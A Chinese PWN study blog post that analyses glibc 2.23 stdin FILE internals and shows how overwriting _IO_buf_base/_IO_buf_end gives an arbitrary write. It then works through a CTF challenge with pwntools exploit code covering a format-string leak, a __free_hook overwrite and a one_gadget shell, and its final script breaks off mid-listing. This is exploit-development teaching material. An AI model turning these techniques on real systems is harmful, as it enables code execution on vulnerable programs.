【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写
我们知道,stdin会往“缓冲区”先读入数据,如果我们劫持这个所谓“缓冲区”到其他地址呢?是否可以读入数据到任意地址?答案是肯定的。
注意!代码中的“-------”分隔,是为了区分一条调用链上不同代码片段,此外没有其他含义
目录
前言
一、_IO_2_1_stdin读入链,及利用思路
(一)_IO_file_xsgetn相关源码分析与条件绕过
(二)__underflow相关源码分析与条件绕过
(三)利用条件总结
二、利用图示
三、从一道题学习stdin任意地址写
(一)格式化字符串泄露libc
(二)_IO_buf_base处写一个字节'\x00'
(三)写入__free_hook指针,准备修改
(四)写入ogg,不断调试
四、exp
前言
不直接调用sys_read,而是通过IO_FILE结构,通过设置缓冲区来减小频繁系统调用开销。我们将从IO_FILE相关结构分析,了解这一模式,再探讨利用标准输入(以及_IO_2_1_stdin)劫持所谓的缓冲区到任意地址,实现任意地址写。
一、_IO_2_1_stdin读入链,及利用思路
从【我的 PWN 学习手札】IO_FILE相关几个基本函数的调用链源码-CSDN博客
我们已经事先分析过通过fread简单分析了_IO_2_1_stdin读入的调用链和基本过程。在这里简单再复述一下,不过从关键函数开始:
extern struct _IO_FILE_plus _IO_2_1_stdin
这个和标准输入相关的_IO_FILE_plus结构体的vtable指向一个固定的虚函数表:
# define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \struct _IO_FILE_plus NAME \= {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \&_IO_file_jumps};DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);const struct _IO_jump_t _IO_file_jumps =
{JUMP_INIT_DUMMY,JUMP_INIT(finish, _IO_file_finish),JUMP_INIT(overflow, _IO_file_overflow),JUMP_INIT(underflow, _IO_file_underflow),JUMP_INIT(uflow, _IO_default_uflow),JUMP_INIT(pbackfail, _IO_default_pbackfail),JUMP_INIT(xsputn, _IO_file_xsputn),JUMP_INIT(xsgetn, _IO_file_xsgetn),JUMP_INIT(seekoff, _IO_new_file_seekoff),JUMP_INIT(seekpos, _IO_default_seekpos),JUMP_INIT(setbuf, _IO_new_file_setbuf),JUMP_INIT(sync, _IO_new_file_sync),JUMP_INIT(doallocate, _IO_file_doallocate),JUMP_INIT(read, _IO_file_read),JUMP_INIT(write, _IO_new_file_write),JUMP_INIT(seek, _IO_file_seek),JUMP_INIT(close, _IO_file_close),JUMP_INIT(stat, _IO_file_stat),JUMP_INIT(showmanyc, _IO_default_showmanyc),JUMP_INIT(imbue, _IO_default_imbue)
};
libc_hidden_data_def (_IO_file_jumps)
以读入函数scanf为例
int
attribute_hidden
scanf (const char *fmt, ...)
{va_list arg;int done;va_start (arg, fmt);done = __nldbl__IO_vfscanf (stdin, fmt, arg, NULL);va_end (arg);return done;
}
-----------------------------------------------------------
int
attribute_compat_text_section
__nldbl__IO_vfscanf (FILE *s, const char *fmt, _IO_va_list ap,int *errp)
{int res;set_no_long_double ();res = _IO_vfscanf (s, fmt, ap, errp);clear_no_long_double ();return res;
}
-----------------------------------------------------------
// 最后调用_IO_file_jumps中的_IO_file_xsgetn函数
让我们关键分析IO_FILE虚表函数操作内部的具体过程
_IO_size_t
_IO_file_xsgetn (_IO_FILE *fp, void *data, _IO_size_t n)
{_IO_size_t want, have;_IO_ssize_t count;char *s = data;want = n;if (fp->_IO_buf_base == NULL){/* Maybe we already have a push back pointer. */if (fp->_IO_save_base != NULL){free (fp->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_doallocbuf (fp);}while (want > 0){have = fp->_IO_read_end - fp->_IO_read_ptr;if (want <= have){memcpy (s, fp->_IO_read_ptr, want);fp->_IO_read_ptr += want;want = 0;}else{if (have > 0){
#ifdef _LIBCs = __mempcpy (s, fp->_IO_read_ptr, have);
#elsememcpy (s, fp->_IO_read_ptr, have);s += have;
#endifwant -= have;fp->_IO_read_ptr += have;}/* Check for backup and repeat */if (_IO_in_backup (fp)){_IO_switch_to_main_get_area (fp);continue;}/* If we now want less than a buffer, underflow and repeatthe copy. Otherwise, _IO_SYSREAD directly tothe user buffer. */if (fp->_IO_buf_base&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)){if (__underflow (fp) == EOF)break;continue;}/* These must be set before the sysread as we might longjmp outwaiting for input. */_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);_IO_setp (fp, fp->_IO_buf_base, fp->_IO_buf_base);/* Try to maintain alignment: read a whole number of blocks. */count = want;if (fp->_IO_buf_base){_IO_size_t block_size = fp->_IO_buf_end - fp->_IO_buf_base;if (block_size >= 128)count -= want % block_size;}count = _IO_SYSREAD (fp, s, count);if (count <= 0){if (count == 0)fp->_flags |= _IO_EOF_SEEN;elsefp->_flags |= _IO_ERR_SEEN;break;}s += count;want -= count;if (fp->_offset != _IO_pos_BAD)_IO_pos_adjust (fp->_offset, count);}}return n - want;
}
libc_hidden_def (_IO_file_xsgetn)
(一)_IO_file_xsgetn相关源码分析与条件绕过
1、如果_IO_buf_base == NULL,则会进行初始化的操作,这是我们需要避免的,否则控制相关指针已经没有意义
if (fp->_IO_buf_base == NULL){/* Maybe we already have a push back pointer. */if (fp->_IO_save_base != NULL){free (fp->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_doallocbuf (fp);}
2、如果 fp->_IO_read_end > fp->_IO_read_ptr 会将缓冲区中对应的数据复制到目标地址中,为了避免因为这个出现不必要的问题,最好令 fp->_IO_read_end = fp >_IO_read_ptr
{...have = fp->_IO_read_end - fp->_IO_read_ptr; // 已经读入缓冲区且还没写入到目标地址的字节数if (want <= have) // 需要的字节数小于已经读入的字节数,则使用memcpy将缓冲区的一部分数据拷贝到目标地址{memcpy (s, fp->_IO_read_ptr, want); // 已经读入足够的数据,直接拷贝fp->_IO_read_ptr += want;want = 0;}else // 否则还需要往缓冲区内读入数据{if (have > 0) // 如果存在,在IO缓冲区、但尚未写入到目标地址的数据,则先将已有的数据拷贝{
#ifdef _LIBCs = __mempcpy (s, fp->_IO_read_ptr, have);
#elsememcpy (s, fp->_IO_read_ptr, have); // 将缓冲区已有的数据拷贝到ss += have;
#endifwant -= have;fp->_IO_read_ptr += have;}...}...
}
3、如果需要的数据大于缓冲区数据,则直接使用sys_read读入到目标地址s,这也是我们要避免的。因此_IO_buf_end和_IO_buf_base之间距离要合适
while(want>0)
{...if (fp->_IO_buf_base&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) // 读入的数据长度如果大于缓冲区大小会采用sysread直接读入的方式,否则用underflow{...}...count = _IO_SYSREAD (fp, s, count);...
}
4、对于3的另一个分支,即,如果需要的数据小于缓冲区数据,则调用underflow填充缓冲区,这是我们需要的执行路线
if (fp->_IO_buf_base&& want < (size_t) (fp->_IO_buf_end - fp->_IO_buf_base)) // 读入的数据长度如果大于缓冲区大小会采用sysread直接读入的方式,否则用underflow{if (__underflow (fp) == EOF) // underflow函数用于在缓冲区为空时,从文件中读取新的数据并填充到缓冲区中,以便后续的读操作可以继续进行break;continue;}
最后呢是进入了__underflow,对缓冲区进行一个填充。我们接下来关注这部分代码的调用链关系。
(二)__underflow相关源码分析与条件绕过
int
__underflow (_IO_FILE *fp)
{
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_Tif (_IO_vtable_offset (fp) == 0 && _IO_fwide (fp, -1) != -1)return EOF;
#endifif (fp->_mode == 0)_IO_fwide (fp, -1);if (_IO_in_put_mode (fp))if (_IO_switch_to_get_mode (fp) == EOF)return EOF;if (fp->_IO_read_ptr < fp->_IO_read_end)return *(unsigned char *) fp->_IO_read_ptr;if (_IO_in_backup (fp)){_IO_switch_to_main_get_area (fp);if (fp->_IO_read_ptr < fp->_IO_read_end)return *(unsigned char *) fp->_IO_read_ptr;}if (_IO_have_markers (fp)){if (save_for_backup (fp, fp->_IO_read_end))return EOF;}else if (_IO_have_backup (fp))_IO_free_backup_area (fp);return _IO_UNDERFLOW (fp);
}
libc_hidden_def (__underflow)
--------------------------------------------------------------------------
#define _IO_UNDERFLOW(FP) JUMP0 (__underflow, FP)
--------------------------------------------------------------------------
const struct _IO_jump_t _IO_file_jumps =
{...JUMP_INIT(underflow, _IO_file_underflow),...
}
--------------------------------------------------------------------------
# define _IO_new_file_underflow _IO_file_underflow
--------------------------------------------------------------------------
int
_IO_new_file_underflow (_IO_FILE *fp)
{_IO_ssize_t count;
#if 0/* SysV does not make this test; take it out for compatibility */if (fp->_flags & _IO_EOF_SEEN)return (EOF);
#endifif (fp->_flags & _IO_NO_READS){fp->_flags |= _IO_ERR_SEEN;__set_errno (EBADF);return EOF;}if (fp->_IO_read_ptr < fp->_IO_read_end)return *(unsigned char *) fp->_IO_read_ptr;if (fp->_IO_buf_base == NULL){/* Maybe we already have a push back pointer. */if (fp->_IO_save_base != NULL){free (fp->_IO_save_base);fp->_flags &= ~_IO_IN_BACKUP;}_IO_doallocbuf (fp);}/* Flush all line buffered files before reading. *//* FIXME This can/should be moved to genops ?? */if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)){
#if 0_IO_flush_all_linebuffered ();
#else/* We used to flush all line-buffered stream. This really isn'trequired by any standard. My recollection is thattraditional Unix systems did this for stdout. stderr betternot be line buffered. So we do just that hereexplicitly. --drepper */_IO_acquire_lock (_IO_stdout);if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))== (_IO_LINKED | _IO_LINE_BUF))_IO_OVERFLOW (_IO_stdout, EOF);_IO_release_lock (_IO_stdout);
#endif}_IO_switch_to_get_mode (fp);/* This is very tricky. We have to adjust thosepointers before we call _IO_SYSREAD () sincewe may longjump () out while waiting forinput. Those pointers may be screwed up. H.J. */fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;fp->_IO_read_end = fp->_IO_buf_base;fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end= fp->_IO_buf_base;count = _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);if (count <= 0){if (count == 0)fp->_flags |= _IO_EOF_SEEN;elsefp->_flags |= _IO_ERR_SEEN, count = 0;}fp->_IO_read_end += count;if (count == 0){/* If a stream is read to EOF, the calling application may switch activehandles. As a result, our offset cache would no longer be valid, sounset it. */fp->_offset = _IO_pos_BAD;return EOF;}if (fp->_offset != _IO_pos_BAD)_IO_pos_adjust (fp->_offset, count);return *(unsigned char *) fp->_IO_read_ptr;
}
libc_hidden_ver (_IO_new_file_underflow, _IO_file_underflow)
经过一系列判断和调用,利用标准输入的__underflow,实际上调用了__IO_new_file_underflow实现相关功能。为此我们对该函数进行具体分析:
1、_IO_NO_READS不能置位
#define _IO_NO_READS 4 /* Reading not allowed */
------------------------------------------------------if (fp->_flags & _IO_NO_READS){fp->_flags |= _IO_ERR_SEEN;__set_errno (EBADF);return EOF;}
2、 _IO_LINE_BUF和_IO_UNBUFFERED最好不置位,但有时候好像也无影响
#define _IO_LINE_BUF 0x200
#define _IO_UNBUFFERED 2
------------------------------------------------------if (fp->_flags & (_IO_LINE_BUF|_IO_UNBUFFERED)) // 检查文件流是否是行缓冲或无缓冲流,是的话执行特定刷新操作{
#if 0_IO_flush_all_linebuffered ();
#else/* We used to flush all line-buffered stream. This really isn'trequired by any standard. My recollection is thattraditional Unix systems did this for stdout. stderr betternot be line buffered. So we do just that hereexplicitly. --drepper */_IO_acquire_lock (_IO_stdout);if ((_IO_stdout->_flags & (_IO_LINKED | _IO_NO_WRITES | _IO_LINE_BUF))== (_IO_LINKED | _IO_LINE_BUF))_IO_OVERFLOW (_IO_stdout, EOF);_IO_release_lock (_IO_stdout);
#endif}
3、设置好缓冲区指针,然后往缓冲区读入数据。如果劫持_IO_buf_base,就可以实现任意地址写;当然,隐含条件是fp->_fileno=0,即stdin
/* This is very tricky. We have to adjust thosepointers before we call _IO_SYSREAD () sincewe may longjump () out while waiting forinput. Those pointers may be screwed up. H.J. */fp->_IO_read_base = fp->_IO_read_ptr = fp->_IO_buf_base;fp->_IO_read_end = fp->_IO_buf_base;fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_write_end= fp->_IO_buf_base;count = _IO_SYSREAD (fp, fp->_IO_buf_base,fp->_IO_buf_end - fp->_IO_buf_base);
(三)利用条件总结
将上述条件综合表述为:
- 设置 _IO_read_end 等于 _IO_read_ptr 。
- 设置 _flag &~ ( _IO_NO_READS | _IO_LINE_BUF | _IO_UNBUFFERED ) 即 _flag &~ 0x206(后两个置位有时候不影响)。
- 设置 _fileno 为 0 ,表示读入数据的来源是 stdin 。
- 设置 _IO_buf_base 为 write_start ,_IO_buf_end 为 write_end ;
- 设置使得 _IO_buf_end - _IO_buf_base 大于要读的数据。
二、利用图示
我们知道,利用缓冲区,是为了避免进行频繁系统调用耗费资源。
类似于从海上进货,不可能每次需要多少就让多少船承载多少来;而是尽量装的满满的,虽然你只需要一点,但是多的我可以存在码头仓库,你需要更多直接在仓库拿就好;仓库用完了,再让船满载进货... ...
因此一开始,会SYS_READ数据到缓冲区,也即“仓库”
而取了多少货呢?这就是从base到_IO_read_ptr指向的区域
如果我们劫持_IO_buf_base和_IO_buf_end
下一次stdin时,就会重新置位指针
然后就可以往目标地址进行写数据
三、从一道题学习stdin任意地址写
本题的思路是:
- 利用格式化字符串漏洞泄露libc
- 通过溢出覆盖局部变量,在_IO_buf_base处写一个字节'\x00'
- 再次读入可修改_IO_2_1_stdin的相关数据,再次修改_IO_buf_base到__free_hook
- 再次输入(但不是read)写入ogg
(一)格式化字符串泄露libc
没什么技术含量,也不是本篇博客技术重点
### leak libc
# io.sendlineafter(b"name:",b'%p'*40+b'ABCDEFGH')
io.sendlineafter(b"name:",b'%p'*34+b'ABCDEFGH')
gdb.attach(io)
# print(io.recv())
libc.address=int(io.recvuntil(b'ABCDEFGH',drop=True)[-14:],16)-0x20730
success(hex(libc.address))
(二)_IO_buf_base处写一个字节'\x00'
接下来通过栈溢出覆盖关键指针,使得在_IO_write_base上写一个字节'\x00'
### write one byte '\x00' at _IO_2_1_stdin_.file._IO_buf_base
io.sendlineafter(b'(1:yes):',b'0')
io.sendlineafter(b"name:",b'a'*80+p64(libc.address+0x39b918))
io.sendlineafter(b'(1:yes):',b'1')
io.sendlineafter(b'message:',b'bbbb')
接下类通过_IO_2_1_stdin_的读入操作,就会重新置位_IO_read_*相关指针往缓冲区内写数据
(三)写入__free_hook指针,准备修改
### re-write part of _IO_2_1_stdin_.file , read for edit __free_hook
payload=b''
payload+=b'a'*8*3 # _IO_write_base/ptr/end
payload+=p64(libc.sym['__free_hook'])+p64(libc.sym['__free_hook']+8)
payload=payload.ljust(0x64,b'\x00')
io.sendlineafter(b"continue?(1:no)",payload)
但是注意,我们之前总结的一些条件已经不满足了,例如_IO_read_ptr和_IO_read_end不同了。IO已经被打坏了,这意味着我们需要一些技巧继续利用
(四)写入ogg,不断调试
这时候IO已经坏了,可能要缓冲很多才会进行复制。我们利用pwndbg的cyclic生成垃圾字节,通过最终跳转来确认合适的偏移
payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj'
io.sendlineafter(b'message:',payload)
io.sendline(b'1\n'*100)
然而
我们发现由于_IO_buf_base和_IO_buf_end恰好设置在__free_hook,所以读入的这么多数据,大多都会经过这一块缓冲区缓存,所以后面的一连串'1\n',又重新覆写了__free_hook了。为此我们调整一下_IO_buf_base和_IO_buf_end的位置
### re-write part of _IO_2_1_stdin_.file , read for edit __free_hook
payload=b''
payload+=b'a'*8*3 # _IO_write_base/ptr/end
# payload+=p64(libc.sym['__free_hook'])+p64(libc.sym['__free_hook']+8)
payload+=p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['__free_hook']+0x10)
payload=payload.ljust(0x64,b'\x00')
io.sendlineafter(b"continue?(1:no)",payload)
然后继续
可以看到,通过__free_hook跳转到了某个区域,接下来我们将这个区域替换成deadbeef验证
payload=b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaajzaakbaakcaakdaakeaakfaakgaakhaakiaakjaakkaaklaakmaaknaakoaakpaakqaakraaksaaktaakuaakvaakwaakxaakyaakzaalbaalcaaldaaleaalfaalgaalhaaliaaljaalkaallaalmaalnaaloaalpaalqaalraalsaaltaaluaalvaalwaalxaalyaalzaambaamcaamdaameaamfaamgaamhaamiaamjaamkaamlaammaamnaamoaampaamqaamraamsaamtaamuaamvaamwaamxaamyaamzaanbaancaandaaneaanfaangaanhaaniaanjaankaanlaanmaannaanoaanpaanqaanraansaantaanuaanvaanwaanxaanyaanzaaobaaocaaodaaoeaaofaaogaaohaaoiaaojaaokaaolaaomaaonaaooaaopaaoqaaoraaosaaotaaouaaovaaowaaoxaaoyaaozaapbaapcaapdaapeaapfaapgaaphaapiaapjaapkaaplaapmaapnaapoaappaapqaapraapsaaptaapuaapvaapwaapxaapyaapzaaqbaaqcaaqdaaqeaaqfaaqgaaqhaaqiaaqjaaqkaaqlaaqmaaqnaaqoaaqpaaqqaaqraaqsaaqtaaquaaqvaaqwaaqxaaqyaaqzaarbaarcaardaareaarfaargaarhaariaarjaarkaarlaarmaarnaaroaarpaarqaarraarsaartaaruaarvaarwaarxaaryaarzaasbaascaasdaaseaasfaasgaashaasiaasjaaskaaslaasmaasnaasoaaspaasqaasraassaastaasuaasvaaswaasxaasyaaszaatbaatcaatdaateaatfaatgaathaatiaatjaatkaatlaatmaatnaatoaatpaatqaatraatsaattaatuaatvaatwaatxaatyaat'
payload=payload.replace(b'waaaaaae',b'deadbeef')
可以看到,我们已经控制了__free_hook。接下来填充ogg
payload=b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaafdaaaaaafeaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafraaaaaafsaaaaaaftaaaaaafuaaaaaafvaaaaaafwaaaaaafxaaaaaafyaaaaaafzaaaaaagbaaaaaagcaaaaaagdaaaaaageaaaaaagfaaaaaaggaaaaaaghaaaaaagiaaaaaagjaaaaaagkaaaaaaglaaaaaagmaaaaaagnaaaaaagoaaaaaagpaaaaaagqaaaaaagraaaaaagsaaaaaagtaaaaaaguaaaaaagvaaaaaagwaaaaaagxaaaaaagyaaaaaagzaaaaaahbaaaaaahcaaaaaahdaaaaaaheaaaaaahfaaaaaahgaaaaaahhaaaaaahiaaaaaahjaaaaaahkaaaaaahlaaaaaahmaaaaaahnaaaaaahoaaaaaahpaaaaaahqaaaaaahraaaaaahsaaaaaahtaaaaaahuaaaaaahvaaaaaahwaaaaaahxaaaaaahyaaaaaahzaaaaaaibaaaaaaicaaaaaaidaaaaaaieaaaaaaifaaaaaaigaaaaaaihaaaaaaiiaaaaaaijaaaaaaikaaaaaailaaaaaaimaaaaaainaaaaaaioaaaaaaipaaaaaaiqaaaaaairaaaaaaisaaaaaaitaaaaaaiuaaaaaaivaaaaaaiwaaaaaaixaaaaaaiyaaaaaaizaaaaaajbaaaaaajcaaaaaajdaaaaaajeaaaaaajfaaaaaajgaaaaaajhaaaaaajiaaaaaajjaaaaaajkaaaaaajlaaaaaajmaaaaaajnaaaaaajoaaaaaajpaaaaaajqaaaaaajraaaaaajsaaaaaajtaaaaaajuaaaaaajvaaaaaajwaaaaaajxaaaaaajyaaaaaaj'
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:address rsp+0x40 is writablerax == NULL || {rax, "-c", rbx, NULL} is a valid argv0x3f43a execve("/bin/sh", rsp+0x30, environ)
constraints:[rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv0xd5c07 execve("/bin/sh", rsp+0x70, environ)
constraints:[rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv
'''
oggs=[i+libc.address for i in [0x3f3e6,0x3f43a,0xd5c07]]
payload=payload.replace(b'waaaaaae',p64(oggs[1]))
但是看到execve时参数有问题,看了一眼是咱们之前覆写栈指针时填充的'a',将其改为0
# io.sendlineafter(b"name:",b'a'*80+p64(libc.address+0x39b918))
io.sendlineafter(b"name:",b'\x00'*80+p64(libc.address+0x39b918))
再次执行
成功getshell
四、exp
题目来自看雪
exp:
from pwn import *context.log_level='debug'
context.arch='amd64'
io=process("./pwn")
libc=ELF("./libc-2.23.so")
io.sendlineafter(b'Size:',b'32')### leak libc
io.sendlineafter(b"name:",b'%p'*34+b'ABCDEFGH')
# print(io.recv())
libc.address=int(io.recvuntil(b'ABCDEFGH',drop=True)[-14:],16)-0x20730
success(hex(libc.address))### write one byte '\x00' at _IO_2_1_stdin.file._IO_buf_base
io.sendlineafter(b'(1:yes):',b'0')
io.sendlineafter(b"name:",b'\x00'*80+p64(libc.address+0x39b918))
io.sendlineafter(b'(1:yes):',b'1')
io.sendlineafter(b'message:',b'bbbb')### re-write part of _IO_2_1_stdin_.file , read for edit __free_hook
payload=b''
payload+=b'a'*8*3 # _IO_write_base/ptr/end
# payload+=p64(libc.sym['__free_hook'])+p64(libc.sym['__free_hook']+8)
payload+=p64(libc.sym['__free_hook']-0x10)+p64(libc.sym['__free_hook']+0x10)
payload=payload.ljust(0x64,b'\x00')
io.sendlineafter(b"continue?(1:no)",payload)
gdb.attach(io,'b free\nc')
sleep(0.5)### write
payload=b'aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaagaaaaaaahaaaaaaaiaaaaaaajaaaaaaakaaaaaaalaaaaaaamaaaaaaanaaaaaaaoaaaaaaapaaaaaaaqaaaaaaaraaaaaaasaaaaaaataaaaaaauaaaaaaavaaaaaaawaaaaaaaxaaaaaaayaaaaaaazaaaaaabbaaaaaabcaaaaaabdaaaaaabeaaaaaabfaaaaaabgaaaaaabhaaaaaabiaaaaaabjaaaaaabkaaaaaablaaaaaabmaaaaaabnaaaaaaboaaaaaabpaaaaaabqaaaaaabraaaaaabsaaaaaabtaaaaaabuaaaaaabvaaaaaabwaaaaaabxaaaaaabyaaaaaabzaaaaaacbaaaaaaccaaaaaacdaaaaaaceaaaaaacfaaaaaacgaaaaaachaaaaaaciaaaaaacjaaaaaackaaaaaaclaaaaaacmaaaaaacnaaaaaacoaaaaaacpaaaaaacqaaaaaacraaaaaacsaaaaaactaaaaaacuaaaaaacvaaaaaacwaaaaaacxaaaaaacyaaaaaaczaaaaaadbaaaaaadcaaaaaaddaaaaaadeaaaaaadfaaaaaadgaaaaaadhaaaaaadiaaaaaadjaaaaaadkaaaaaadlaaaaaadmaaaaaadnaaaaaadoaaaaaadpaaaaaadqaaaaaadraaaaaadsaaaaaadtaaaaaaduaaaaaadvaaaaaadwaaaaaadxaaaaaadyaaaaaadzaaaaaaebaaaaaaecaaaaaaedaaaaaaeeaaaaaaefaaaaaaegaaaaaaehaaaaaaeiaaaaaaejaaaaaaekaaaaaaelaaaaaaemaaaaaaenaaaaaaeoaaaaaaepaaaaaaeqaaaaaaeraaaaaaesaaaaaaetaaaaaaeuaaaaaaevaaaaaaewaaaaaaexaaaaaaeyaaaaaaezaaaaaafbaaaaaafcaaaaaafdaaaaaafeaaaaaaffaaaaaafgaaaaaafhaaaaaafiaaaaaafjaaaaaafkaaaaaaflaaaaaafmaaaaaafnaaaaaafoaaaaaafpaaaaaafqaaaaaafraaaaaafsaaaaaaftaaaaaafuaaaaaafvaaaaaafwaaaaaafxaaaaaafyaaaaaafzaaaaaagbaaaaaagcaaaaaagdaaaaaageaaaaaagfaaaaaaggaaaaaaghaaaaaagiaaaaaagjaaaaaagkaaaaaaglaaaaaagmaaaaaagnaaaaaagoaaaaaagpaaaaaagqaaaaaagraaaaaagsaaaaaagtaaaaaaguaaaaaagvaaaaaagwaaaaaagxaaaaaagyaaaaaagzaaaaaahbaaaaaahcaaaaaahdaaaaaaheaaaaaahfaaaaaahgaaaaaahhaaaaaahiaaaaaahjaaaaaahkaaaaaahlaaaaaahmaaaaaahnaaaaaahoaaaaaahpaaaaaahqaaaaaahraaaaaahsaaaaaahtaaaaaahuaaaaaahvaaaaaahwaaaaaahxaaaaaahyaaaaaahzaaaaaaibaaaaaaicaaaaaaidaaaaaaieaaaaaaifaaaaaaigaaaaaaihaaaaaaiiaaaaaaijaaaaaaikaaaaaailaaaaaaimaaaaaainaaaaaaioaaaaaaipaaaaaaiqaaaaaairaaaaaaisaaaaaaitaaaaaaiuaaaaaaivaaaaaaiwaaaaaaixaaaaaaiyaaaaaaizaaaaaajbaaaaaajcaaaaaajdaaaaaajeaaaaaajfaaaaaajgaaaaaajhaaaaaajiaaaaaajjaaaaaajkaaaaaajlaaaaaajmaaaaaajnaaaaaajoaaaaaajpaaaaaajqaaaaaajraaaaaajsaaaaaajtaaaaaajuaaaaaajvaaaaaajwaaaaaajxaaaaaajyaaaaaaj'
'''
0x3f3e6 execve("/bin/sh", rsp+0x30, environ)
constraints:address rsp+0x40 is writablerax == NULL || {rax, "-c", rbx, NULL} is a valid argv0x3f43a execve("/bin/sh", rsp+0x30, environ)
